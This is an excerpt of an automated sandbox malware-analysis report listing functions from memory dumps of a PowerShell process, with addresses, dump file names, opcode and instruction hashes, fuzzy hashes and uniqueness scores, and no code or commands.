                              • Opcode ID: 2be13e764b05e3b7b714bc06c34812d34391c2f6be9680b8893cacb900551e38
                              • Instruction ID: 1d48a916b789fdfd8ea8597bad55ed406318d0267fc4e251b9867f20968d04e2
                              • Opcode Fuzzy Hash: 2be13e764b05e3b7b714bc06c34812d34391c2f6be9680b8893cacb900551e38
                              • Instruction Fuzzy Hash: EA11D3B5705306DFC714CF66C440A66BBB9FF89350B14856DE91987352D731E942CBA0
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0125A798 Relevance: .1, Instructions: 64COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 90ee9515b364d33d8f9017f22231393133f4f0df01c5d508bbab15ea3a306bbe
                              • Instruction ID: 8c228653853cb4e0d01e492c5eef5c6e980265b34cb3e6b0e91e76030cd20ffb
                              • Opcode Fuzzy Hash: 90ee9515b364d33d8f9017f22231393133f4f0df01c5d508bbab15ea3a306bbe
                              • Instruction Fuzzy Hash: 5011CD21A382535BF7A60538888B77A2ED55B41314F05467ADE46C75C2E6B9DC818351
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 01252090 Relevance: .1, Instructions: 60COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 7ece0ea1d075577b4830baf2b340a660e687198c0dae883519a603db843210c2
                              • Instruction ID: 8d15ea941da8da2fa5c009846df188956616c18bea769c3238ee1b248da40bf6
                              • Opcode Fuzzy Hash: 7ece0ea1d075577b4830baf2b340a660e687198c0dae883519a603db843210c2
                              • Instruction Fuzzy Hash: C321FC302006088BC764EB7AC490AAA73E6FFC4304F518C7DD19A8B761DF72AC05CBA0
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 012540E0 Relevance: .1, Instructions: 59COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: d003bfee2d75a785d31fb259fe7fce7592635d8cd3e60852f9ec4e29da9ace41
                              • Instruction ID: 32f6d30c1c301c027f2d19e87227ecb80ae7931a26d0e32d65057a5dd0c40419
                              • Opcode Fuzzy Hash: d003bfee2d75a785d31fb259fe7fce7592635d8cd3e60852f9ec4e29da9ace41
                              • Instruction Fuzzy Hash: D9019C2531C2912BD715257D68556FFBEAACBC5390F10803AE601C7382DE298C068362
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C15B5 Relevance: .1, Instructions: 55COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 4215404ab06288a7f2b4b8f8a05518909133981fac73bd555ad6e95daa1b65f1
                              • Instruction ID: d103537efe8a337b6932332391256c8906dccd48d8f9a0ffb3d302165cec9af3
                              • Opcode Fuzzy Hash: 4215404ab06288a7f2b4b8f8a05518909133981fac73bd555ad6e95daa1b65f1
                              • Instruction Fuzzy Hash: 190128B510D3845FC7038B3595106E1BF759F97399B1D41EFD884CB253D629C506C7A0
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C0208 Relevance: .1, Instructions: 55COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: d10d69f22a6076e65ad1e0c74ab6e13dbb3f43dcae9ba353473b78e025d404b8
                              • Instruction ID: 4cde385cbb074236b0c5912f0297c4b8a5e62423f4ed549de76d572467b5dcaa
                              • Opcode Fuzzy Hash: d10d69f22a6076e65ad1e0c74ab6e13dbb3f43dcae9ba353473b78e025d404b8
                              • Instruction Fuzzy Hash: 7D11A370204309AFC715DF95DC84E9ABBFAFF88314B048869E5098B365CB31AD45CBE1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C0498 Relevance: .1, Instructions: 54COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: f5af2cb5b96a7a376ea980fce73b1f15d890bf3d5b0848eddc9934c3c9526100
                              • Instruction ID: d0304477c4ce63ed4158a0d60138db0f483e699dd152c05b76b796a233d96480
                              • Opcode Fuzzy Hash: f5af2cb5b96a7a376ea980fce73b1f15d890bf3d5b0848eddc9934c3c9526100
                              • Instruction Fuzzy Hash: D3111971A00209DFCB54DFA5D898AAEBBB6FB8C364F14442DD502E7390DB719885CFA4
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C0218 Relevance: .1, Instructions: 54COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 80c85cd7128560f007f44f68d1993fc1ef3a09f288c26f0baad910798893aec8
                              • Instruction ID: bb46701908d555f89b20e0ee2515f3c07d2592abe7adda1073caf29b99bfe998
                              • Opcode Fuzzy Hash: 80c85cd7128560f007f44f68d1993fc1ef3a09f288c26f0baad910798893aec8
                              • Instruction Fuzzy Hash: F411A971200209AFC704DF99DC84D9AB7E9FFC4364B40C869E5098B365D731AC55CBE0
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C0554 Relevance: .0, Instructions: 48COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 5828a213b7103c02b574ab0bda4dba6a4c4987cc90478225f57ace069b782810
                              • Instruction ID: f868418e9510504247d00131386aee37f63ae55e095a4f2959feb02e4ca830ea
                              • Opcode Fuzzy Hash: 5828a213b7103c02b574ab0bda4dba6a4c4987cc90478225f57ace069b782810
                              • Instruction Fuzzy Hash: 52019E75A00609AFCB00DFA9D8418DAFFF9FF88210B10466AE909D3711D731AD25CBE1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 012540C9 Relevance: .0, Instructions: 45COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 559834978c9395911fc243b4649a220e485f0b523b00fcd2f9413d9a12ae4f35
                              • Instruction ID: 541e666ca6fd93490fe178ac9fecd8654daad35ef31afa5923938741bd18d4f4
                              • Opcode Fuzzy Hash: 559834978c9395911fc243b4649a220e485f0b523b00fcd2f9413d9a12ae4f35
                              • Instruction Fuzzy Hash: 63F0243221D3D23FC716211E2C909B6BFBDCBC61A171941A7FA48C3243E5298C1A8371
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 01255110 Relevance: .0, Instructions: 40COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: c0143249ec8f5368ccc62f87c3071d17f06a93f2f00fedeee320067303cd1a44
                              • Instruction ID: 9e6970ebcac44391e19d28972bb27ceed2d851792eb7145eeafbd6364ddff4cc
                              • Opcode Fuzzy Hash: c0143249ec8f5368ccc62f87c3071d17f06a93f2f00fedeee320067303cd1a44
                              • Instruction Fuzzy Hash: 15F0C2753082044FCB48EBBCC46489D3BE5EFCA70471A04BDE106CB7A6DE25EC0687A2
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C0568 Relevance: .0, Instructions: 38COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 61a3e381ade7ed886df8cf91a75ba7dd73e06f9c8111c492907b52d51b101a99
                              • Instruction ID: 3b95dd41ca94f3cf72850c058de86e63bb5a3dcd72f2931da58514f11da79397
                              • Opcode Fuzzy Hash: 61a3e381ade7ed886df8cf91a75ba7dd73e06f9c8111c492907b52d51b101a99
                              • Instruction Fuzzy Hash: B8016D75A0061AAFCB00DFA9D88089EFBF9FF8C6107104625EA0993710D731AD25CBE0
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C05D0 Relevance: .0, Instructions: 38COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: ba4f0a71fcdf3ad6e5eba3e0f09daa220440b16dd539b7c027d93b8f2396f891
                              • Instruction ID: 36357e9a469c50f75717f1a06c7598c12e40947b3a5e88f93fa5403ef6a8fd55
                              • Opcode Fuzzy Hash: ba4f0a71fcdf3ad6e5eba3e0f09daa220440b16dd539b7c027d93b8f2396f891
                              • Instruction Fuzzy Hash: F8F024363042509FC3224B5AE8A06D7BB59FBC6320F01047EE105C7282CB2559CA8BF2
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0125FEC1 Relevance: .0, Instructions: 36COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 71875ae8e710a8c82a6ddeaf6bd20dab15de49262a71993effcdfcd91589e8ce
                              • Instruction ID: 2984259f960e7faa6f5045f18f241247b9cb6e14afcd4e31948b4a2814923167
                              • Opcode Fuzzy Hash: 71875ae8e710a8c82a6ddeaf6bd20dab15de49262a71993effcdfcd91589e8ce
                              • Instruction Fuzzy Hash: 3CF0B4327102189BCB15DA68D8045ED73AAEBC9311B050079E905EB744DBB1DD05CBD0
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0125417C Relevance: .0, Instructions: 34COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 28bc8e6b9272443d1e430c6984bf7ebb828631eec4cb6eeacc19636a2320b619
                              • Instruction ID: dac51eaf8bd1bd9a3124996d0052dc2dbe1aa5ffc60441b502067bc64c435161
                              • Opcode Fuzzy Hash: 28bc8e6b9272443d1e430c6984bf7ebb828631eec4cb6eeacc19636a2320b619
                              • Instruction Fuzzy Hash: FAF0554872C3D04FDB1357B42C962FA7FA09B93388F05C4DAC081CE5A2EB68450BC366
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 012540DE Relevance: .0, Instructions: 32COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 5b24a2dae29bc1dd60727918dcf39e9762044e907df00d3b0c7febcde5319df9
                              • Instruction ID: 988af400be94321d9e02f527415146ad0a7ffaf3bf92c5349c1a5e8616af906c
                              • Opcode Fuzzy Hash: 5b24a2dae29bc1dd60727918dcf39e9762044e907df00d3b0c7febcde5319df9
                              • Instruction Fuzzy Hash: 3FE068323142527B8324289FA8849B7FEEDEBC93A1B54413BFE08C3201EA75C90183B0
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0125FED0 Relevance: .0, Instructions: 30COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 988a8ae1d37f4be1a75917c0933ed117115875b8114d73913a16bf005ef0e9f0
                              • Instruction ID: 139ae130a39287fb6263038280688943f3e7ca41021ae117802c694150dc9e37
                              • Opcode Fuzzy Hash: 988a8ae1d37f4be1a75917c0933ed117115875b8114d73913a16bf005ef0e9f0
                              • Instruction Fuzzy Hash: 2EE06536B102189BCB149668D8188EE77ABABC9351B45007DD906E7744DFB59C058BD1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C05E0 Relevance: .0, Instructions: 28COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: db1e86f16a1f8e28fb94624481a8985100409ac08d0ca6b94b85412ed400e4af
                              • Instruction ID: 3cdf926299baf7fb5112ae97ad47d4e0ed580883069637f4ae76eeaf8df593a3
                              • Opcode Fuzzy Hash: db1e86f16a1f8e28fb94624481a8985100409ac08d0ca6b94b85412ed400e4af
                              • Instruction Fuzzy Hash: 2EE09B7130462597D2249F5DECA5B5B775EFBC4715F01043CE109D7681CF65A882CBE2
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 01252178 Relevance: .0, Instructions: 28COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 86c08138e86baaf419a58a10ff6e57bb20ea475cdcf4bfd48c6588fa2052e6dc
                              • Instruction ID: 05ff213070d222d1f4fa5b99ed9664d048a03ac889c8773ddb7102789fce48c3
                              • Opcode Fuzzy Hash: 86c08138e86baaf419a58a10ff6e57bb20ea475cdcf4bfd48c6588fa2052e6dc
                              • Instruction Fuzzy Hash: 53F01770D1424ACFDF99DFB989812EEBFF1FF49204F1481AAC918A6281E3384541CB54
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 012527A0 Relevance: .0, Instructions: 27COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: ebdd4ad46e00c96b79843095b9dab87f56f5ab3474422c809d324af377868b2c
                              • Instruction ID: f3701f163c54299fa844fa6fb4a10318c32b95a9a0e1e00d33c3fb75de05f543
                              • Opcode Fuzzy Hash: ebdd4ad46e00c96b79843095b9dab87f56f5ab3474422c809d324af377868b2c
                              • Instruction Fuzzy Hash: 99E06D342183408FCF069B75E85993A3FEAEB8A715B154064E405D72A7DF316C128B91
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C019D Relevance: .0, Instructions: 26COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 1e400e55196d5862d9d4fb64da0465ba5661d28d68c804e759abdbf46afc4475
                              • Instruction ID: 675e78778d4da0b421eb6169000fa26304f894c81f86ab8079b5170920072015
                              • Opcode Fuzzy Hash: 1e400e55196d5862d9d4fb64da0465ba5661d28d68c804e759abdbf46afc4475
                              • Instruction Fuzzy Hash: E0F0B274600268CFCB58DFA4D48489CB3B2FF8831A75644ACD905AB760DB3AEC41CF20
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C5058 Relevance: .0, Instructions: 25COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: d0d69d76a9f36f2fa2d2ce1831a5bf48603fad3960432c08e71f35dbb2e64121
                              • Instruction ID: cd399aff40c0da59d3fedd88f965c9934f41c2a499325ad497c8b2a36d7d14f9
                              • Opcode Fuzzy Hash: d0d69d76a9f36f2fa2d2ce1831a5bf48603fad3960432c08e71f35dbb2e64121
                              • Instruction Fuzzy Hash: 4EF039B1910219DBEB14DB69C9187EEBBB5EB8C300F20056ED502F7290DBB61954CBE5
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 01254528 Relevance: .0, Instructions: 25COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: a841bd318a4c6502b74439886d02d9b85cb4b102e46caa65dbe4dab47729f873
                              • Instruction ID: b0755e4eeb76bd9cd720694a3b892994a68d52a7d7d1569a945f98e37d44b077
                              • Opcode Fuzzy Hash: a841bd318a4c6502b74439886d02d9b85cb4b102e46caa65dbe4dab47729f873
                              • Instruction Fuzzy Hash: 10E068392146408FC7426B14F8488E43FA8DB0A32870200D6E508C7733C52548008B92
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 01254427 Relevance: .0, Instructions: 25COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 43ca362ee01b7acf5abfd67cd93245a7ab6b914594b4a9535d513882f3ca4fc8
                              • Instruction ID: e1258f3c900d7dcf225c24e18caba2a3d5e48c45b5bb11d566ba3a13cf122bc3
                              • Opcode Fuzzy Hash: 43ca362ee01b7acf5abfd67cd93245a7ab6b914594b4a9535d513882f3ca4fc8
                              • Instruction Fuzzy Hash: E8E022A14343809FCB122F70B88A1BA3F64FB52300F0240FBE406C7567EA349641CB22
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 01252188 Relevance: .0, Instructions: 23COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 7ea782743b95c01991c12943af8eb7d25407053c8766edeecfe99a5c3d4d0d89
                              • Instruction ID: 0aaaadd99f877f7a9eb3c89a9bde9a5b2e02093858bdccd319fa2cf730a57cb4
                              • Opcode Fuzzy Hash: 7ea782743b95c01991c12943af8eb7d25407053c8766edeecfe99a5c3d4d0d89
                              • Instruction Fuzzy Hash: 34F09BB4D1421ECFDF98DFAA88412EEBBF1BB48205F10856AC918B2250E7784641CFA5
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C471A Relevance: .0, Instructions: 20COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 9e5ca7f4881893aa30d53159c30ce93c5519374899a70e6805a586b68fbf4577
                              • Instruction ID: ed7a1e49c041abac47509bf9b233cdb68b3ac70e33934b832298925e9e2f157c
                              • Opcode Fuzzy Hash: 9e5ca7f4881893aa30d53159c30ce93c5519374899a70e6805a586b68fbf4577
                              • Instruction Fuzzy Hash: FDE0DF72E0460A8BCB00EFA4E445AFE77B8FF80305F008839D11693340D738A9068B81
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C47A4 Relevance: .0, Instructions: 20COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 49b3f577fdb51489bc0d3f18c6800205268d1bc70ed06eb9beb5c7b07cf295c7
                              • Instruction ID: b6e2cb659785ff0b9fe0f82203f9285810cd9903424cd40a1810060eaaf68a6d
                              • Opcode Fuzzy Hash: 49b3f577fdb51489bc0d3f18c6800205268d1bc70ed06eb9beb5c7b07cf295c7
                              • Instruction Fuzzy Hash: E6E04871A0550A8BCB10EF94E4456EE7775EFC4315F104839D10697650D734A9558752
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C465A Relevance: .0, Instructions: 19COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 499e8b0c30d8001414887084d52396f32bbfa1e28d944e1a4b84bd30e5250a48
                              • Instruction ID: e07536b4dab719b1640905239fdff401ca46ef4936a953a7130ba7d6eabb96b6
                              • Opcode Fuzzy Hash: 499e8b0c30d8001414887084d52396f32bbfa1e28d944e1a4b84bd30e5250a48
                              • Instruction Fuzzy Hash: 24E0C2766156048BC714EBA4F046BED37AADFC4315F14883DD207C7640DB38A8164792
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C461A Relevance: .0, Instructions: 19COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 66020701c5cf5345301450041248b7aeaf0c9ab37c5ff6b1fe2dc1dea7b72f33
                              • Instruction ID: 6d4d7086b755e273f893dabf1ad43ce29fdbd45b7b0f43c6c7220026607c5e7a
                              • Opcode Fuzzy Hash: 66020701c5cf5345301450041248b7aeaf0c9ab37c5ff6b1fe2dc1dea7b72f33
                              • Instruction Fuzzy Hash: 1BE072362012048BC700FBA0E002BFC379AEFC0301F08883CD207C3A00CB38A8064392
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C46DA Relevance: .0, Instructions: 19COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: c03ee24cf406116ee66fbcb6995fbbe400dd3e0c582328d0b0ccf67401c0c74d
                              • Instruction ID: 6d76ef54f70763af94f391fc26cb0f74454fb32a61896ed241ddd2daa0eea213
                              • Opcode Fuzzy Hash: c03ee24cf406116ee66fbcb6995fbbe400dd3e0c582328d0b0ccf67401c0c74d
                              • Instruction Fuzzy Hash: 54E0C2766156049BC720EBA4F446AFD775AEFC4315F148839D647C3640DB38A8164792
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C469A Relevance: .0, Instructions: 19COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 96e6fae8fa1c3ad77367634462d5cf86854d63a615c2423a46bb35eb71a397ad
                              • Instruction ID: a6bfe08883a4332263b43074807f5ccc58c1f0304b10d055ca9221e406f97316
                              • Opcode Fuzzy Hash: 96e6fae8fa1c3ad77367634462d5cf86854d63a615c2423a46bb35eb71a397ad
                              • Instruction Fuzzy Hash: 36E0C2766156049BC710FBA4F046AED3B5ADFC4315F148839D207C3640DB38E8964792
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C455A Relevance: .0, Instructions: 19COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 2a6d72e41be3ba2db0bcfba76bc18b06d500e4479cd246c4a6ef3d560ea1b46d
                              • Instruction ID: d9ceb31b586d9d1aaffba5902d653d5f1c2926e781cf68db68fbf3f06d3860ff
                              • Opcode Fuzzy Hash: 2a6d72e41be3ba2db0bcfba76bc18b06d500e4479cd246c4a6ef3d560ea1b46d
                              • Instruction Fuzzy Hash: 33E0C27661550887D714EBA4E046AFD37AADBC4315F188839D20BC3640DB38E8164792
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C451A Relevance: .0, Instructions: 19COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: eb2a507b26f5b604fc8aa437d9e7596df68bb8f18141162d60dd6534971abf2e
                              • Instruction ID: 4f694480c23cee9d251d984ec56a019fcc1c026dbd7f869bbb3ecda3b9a810f1
                              • Opcode Fuzzy Hash: eb2a507b26f5b604fc8aa437d9e7596df68bb8f18141162d60dd6534971abf2e
                              • Instruction Fuzzy Hash: E3E0C27661560487C710FBA4E4466FD379AEBC4315F188C3DD21BC3640DB38A8164792
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C45DA Relevance: .0, Instructions: 19COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 4b5268414b9b59a78f5ff85f2ad995fcf691d28477072facd7e569899e2ae89a
                              • Instruction ID: aef42bbe33cf946879e4e03cf197d40b0def1eb72bfbf3bf73379ebd2eb9d2d0
